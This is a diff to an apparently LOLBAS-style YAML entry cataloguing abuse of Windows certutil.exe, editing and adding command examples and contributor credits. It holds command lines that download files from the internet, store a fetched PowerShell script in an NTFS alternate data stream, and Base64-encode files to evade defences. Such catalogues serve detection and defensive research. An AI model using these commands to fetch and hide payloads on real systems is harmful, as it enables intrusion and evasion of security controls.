diff --git a/yml/OSBinaries/Certutil.yml b/yml/OSBinaries/Certutil.yml index 75445ed1..e2a90618 100644 --- a/yml/OSBinaries/Certutil.yml +++ b/yml/OSBinaries/Certutil.yml @@ -4,27 +4,36 @@ Description: Windows binary used for handling certificates Author: 'Oddvar Moe' Created: 2018-05-25 Commands: - - Command: certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe + - Command: certutil.exe -urlcache -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe Description: Download and save 7zip to disk in the current folder. Usecase: Download file from Internet Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - - Command: certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe + - Command: certutil.exe -verifyctl -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe Description: Download and save 7zip to disk in the current folder. Usecase: Download file from Internet Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - - Command: certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt + - Command: certutil.exe -urlcache -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt Description: Download and save a PS1 file to an Alternate Data Stream (ADS). Usecase: Download file from Internet and save it in an NTFS Alternate Data Stream Category: ADS Privileges: User MitreID: T1564.004 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 + - Command: certutil.exe -URL http://7-zip.org/a/7z1604-x64.exe 7zip.exe + Description: Download and save 7zip to disk in the current folder. + Usecase: Download file from Internet + Category: Download + Privileges: User + MitreID: T1105 + OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 + Tags: + - Application: GUI - Command: certutil -encode inputFileName encodedOutputFileName Description: Command to encode a file using Base64 Usecase: Encode files to evade defensive measures @@ -75,3 +84,7 @@ Acknowledgement: - Person: egre55 Handle: '@egre55' - Person: Lior Adar + - Person: Adam + Handle: '@hexacorn' + - Person: SomeTestLeper + Handle: '@SomeTestLeper'